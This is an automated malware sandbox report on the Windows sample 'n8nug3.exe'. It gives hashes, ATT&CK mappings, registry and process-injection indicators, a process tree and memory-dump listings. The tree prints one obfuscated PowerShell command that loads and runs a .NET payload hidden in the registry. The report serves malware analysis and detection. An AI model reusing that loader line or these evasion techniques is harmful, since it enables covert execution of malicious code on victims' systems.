e2481565a6c7a26690e99f63eea8e04615f7b3d92ca4ada11e331ce1053f962a

Analysis

max time kernel
150s
max time network
16s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20/09/2024, 08:57

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General

Target

n8nug3.exe
Size

163KB
MD5

b20e29f2b88234cda8b95b43a4fec8aa
SHA1

13cca52a0dc3b9b352e14688f444ad9bcb9a9f4f
SHA256

e2481565a6c7a26690e99f63eea8e04615f7b3d92ca4ada11e331ce1053f962a
SHA512

019a4afbcd4c6236c226a05b0864df4f310fb91d41847dfcd84207d276a6219f66b725f5d3f637e7049d87fc81c88b8969a3061970be505bade70f767511313a
SSDEEP

3072:MQpsRTVjrJJCIFeesmomFEZkieYugOC7Arm2DilTw9/:MQpsRTVjrJBwesjmFEe5nhC7Arm2D0Ts

Score

10^/10

discovery evasion execution

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP	svchost.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection	svchost.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2380 created 432	2380	powershell.EXE	5

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2380	powershell.EXE

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2380 set thread context of 2108	2380	powershell.EXE	33

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	n8nug3.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 70270f1d3b0bdb01	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2380	powershell.EXE
2380	powershell.EXE
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe
2108	dllhost.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2380	powershell.EXE
Token: SeDebugPrivilege	2380	powershell.EXE
Token: SeDebugPrivilege	2108	dllhost.exe
Token: SeAuditPrivilege	856	svchost.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 2188 wrote to memory of 2380	2188	taskeng.exe	31
PID 2188 wrote to memory of 2380	2188	taskeng.exe	31
PID 2188 wrote to memory of 2380	2188	taskeng.exe	31
PID 2380 wrote to memory of 2108	2380	powershell.EXE	33
PID 2380 wrote to memory of 2108	2380	powershell.EXE	33
PID 2380 wrote to memory of 2108	2380	powershell.EXE	33
PID 2380 wrote to memory of 2108	2380	powershell.EXE	33
PID 2380 wrote to memory of 2108	2380	powershell.EXE	33
PID 2380 wrote to memory of 2108	2380	powershell.EXE	33
PID 2380 wrote to memory of 2108	2380	powershell.EXE	33
PID 2380 wrote to memory of 2108	2380	powershell.EXE	33
PID 2380 wrote to memory of 2108	2380	powershell.EXE	33
PID 2108 wrote to memory of 432	2108	dllhost.exe	5
PID 2108 wrote to memory of 476	2108	dllhost.exe	6
PID 2108 wrote to memory of 492	2108	dllhost.exe	7
PID 2108 wrote to memory of 500	2108	dllhost.exe	8
PID 2108 wrote to memory of 604	2108	dllhost.exe	9
PID 2108 wrote to memory of 680	2108	dllhost.exe	10
PID 2108 wrote to memory of 752	2108	dllhost.exe	11
PID 2108 wrote to memory of 816	2108	dllhost.exe	12
PID 2108 wrote to memory of 856	2108	dllhost.exe	13
PID 2108 wrote to memory of 984	2108	dllhost.exe	15
PID 2108 wrote to memory of 280	2108	dllhost.exe	16
PID 2108 wrote to memory of 324	2108	dllhost.exe	17
PID 2108 wrote to memory of 1068	2108	dllhost.exe	18
PID 2108 wrote to memory of 1108	2108	dllhost.exe	19
PID 2108 wrote to memory of 1160	2108	dllhost.exe	20
PID 2108 wrote to memory of 1196	2108	dllhost.exe	21
PID 2108 wrote to memory of 2036	2108	dllhost.exe	23
PID 2108 wrote to memory of 864	2108	dllhost.exe	24
PID 2108 wrote to memory of 1572	2108	dllhost.exe	25
PID 2108 wrote to memory of 2348	2108	dllhost.exe	26
PID 2108 wrote to memory of 2244	2108	dllhost.exe	27
PID 2108 wrote to memory of 2188	2108	dllhost.exe	30

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:432
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{821cc14a-00d5-485b-9811-57ff9923148e}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2108

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
PID:476
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  PID:604
- - C:\Windows\system32\DllHost.exe
    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
    3⤵
    PID:2036
- - C:\Windows\system32\wbem\wmiprvse.exe
    C:\Windows\system32\wbem\wmiprvse.exe
    3⤵
    PID:1572
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k RPCSS
  2⤵
  PID:680
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
  2⤵
  - Modifies security service
  PID:752
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
  2⤵
  PID:816
- - C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    3⤵
    PID:1160
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k netsvcs
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:856
- - C:\Windows\system32\taskeng.exe
    taskeng.exe {6878934F-F90E-4F16-95F0-A424159D67CE} S-1-5-18:NT AUTHORITY\System:Service:
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2188
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+'A'+''+'R'+'E').GetValue('s'+'v'+''+[Char](115)+'t'+[Char](97)+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2380
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalService
  2⤵
  PID:984
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k NetworkService
  2⤵
  PID:280
- C:\Windows\System32\spoolsv.exe
  C:\Windows\System32\spoolsv.exe
  2⤵
  PID:324
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
  2⤵
  PID:1068
- C:\Windows\system32\taskhost.exe
  "taskhost.exe"
  2⤵
  PID:1108
- C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
  "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
  2⤵
  PID:864
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
  2⤵
  PID:2348
- C:\Windows\system32\sppsvc.exe
  C:\Windows\system32\sppsvc.exe
  2⤵
  PID:2244

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:492

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:500

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1196
- C:\Users\Admin\AppData\Local\Temp\n8nug3.exe
  "C:\Users\Admin\AppData\Local\Temp\n8nug3.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/432-38-0x00000000379E0000-0x00000000379F0000-memory.dmp

Filesize
64KB

Download
memory/432-37-0x000007FEBDC90000-0x000007FEBDCA0000-memory.dmp

Filesize
64KB

Download
memory/432-181-0x0000000000370000-0x0000000000395000-memory.dmp

Filesize
148KB

Download
memory/432-124-0x0000000000370000-0x0000000000395000-memory.dmp

Filesize
148KB

Download
memory/432-120-0x00000000779F1000-0x00000000779F2000-memory.dmp

Filesize
4KB

Download
memory/432-36-0x00000000003A0000-0x00000000003CA000-memory.dmp

Filesize
168KB

Download
memory/432-25-0x0000000000370000-0x0000000000395000-memory.dmp

Filesize
148KB

Download
memory/432-27-0x0000000000370000-0x0000000000395000-memory.dmp

Filesize
148KB

Download
memory/432-28-0x00000000003A0000-0x00000000003CA000-memory.dmp

Filesize
168KB

Download
memory/432-29-0x00000000003A0000-0x00000000003CA000-memory.dmp

Filesize
168KB

Download
memory/476-51-0x000007FEBDC90000-0x000007FEBDCA0000-memory.dmp

Filesize
64KB

Download
memory/476-50-0x00000000000A0000-0x00000000000CA000-memory.dmp

Filesize
168KB

Download
memory/476-43-0x00000000000A0000-0x00000000000CA000-memory.dmp

Filesize
168KB

Download
memory/476-52-0x00000000379E0000-0x00000000379F0000-memory.dmp

Filesize
64KB

Download
memory/476-121-0x0000000000070000-0x0000000000095000-memory.dmp

Filesize
148KB

Download
memory/492-65-0x000007FEBDC90000-0x000007FEBDCA0000-memory.dmp

Filesize
64KB

Download
memory/492-57-0x00000000000C0000-0x00000000000EA000-memory.dmp

Filesize
168KB

Download
memory/492-66-0x00000000379E0000-0x00000000379F0000-memory.dmp

Filesize
64KB

Download
memory/492-177-0x0000000000090000-0x00000000000B5000-memory.dmp

Filesize
148KB

Download
memory/492-64-0x00000000000C0000-0x00000000000EA000-memory.dmp

Filesize
168KB

Download
memory/500-72-0x0000000000920000-0x000000000094A000-memory.dmp

Filesize
168KB

Download
memory/500-122-0x0000000000350000-0x0000000000375000-memory.dmp

Filesize
148KB

Download
memory/500-178-0x0000000000350000-0x0000000000375000-memory.dmp

Filesize
148KB

Download
memory/604-179-0x00000000004B0000-0x00000000004D5000-memory.dmp

Filesize
148KB

Download
memory/680-180-0x00000000002B0000-0x00000000002D5000-memory.dmp

Filesize
148KB

Download
memory/680-123-0x00000000002B0000-0x00000000002D5000-memory.dmp

Filesize
148KB

Download
memory/2108-12-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2108-18-0x0000000077880000-0x000000007799F000-memory.dmp

Filesize
1.1MB

Download
memory/2108-14-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2108-11-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2108-16-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2108-19-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2108-17-0x00000000779A0000-0x0000000077B49000-memory.dmp

Filesize
1.7MB

Download
memory/2108-10-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2380-23-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2380-5-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2380-22-0x0000000077881000-0x000000007791C000-memory.dmp

Filesize
620KB

Download
memory/2380-4-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2380-6-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2380-0-0x000007FEF601E000-0x000007FEF601F000-memory.dmp

Filesize
4KB

Download
memory/2380-24-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2380-3-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2380-1-0x000000001A050000-0x000000001A332000-memory.dmp

Filesize
2.9MB

Download
memory/2380-7-0x0000000001520000-0x000000000154A000-memory.dmp

Filesize
168KB

Download
memory/2380-9-0x0000000077880000-0x000000007799F000-memory.dmp

Filesize
1.1MB

Download
memory/2380-8-0x00000000779A0000-0x0000000077B49000-memory.dmp

Filesize
1.7MB

Download
memory/2380-2-0x00000000008F0000-0x00000000008F8000-memory.dmp

Filesize
32KB

Download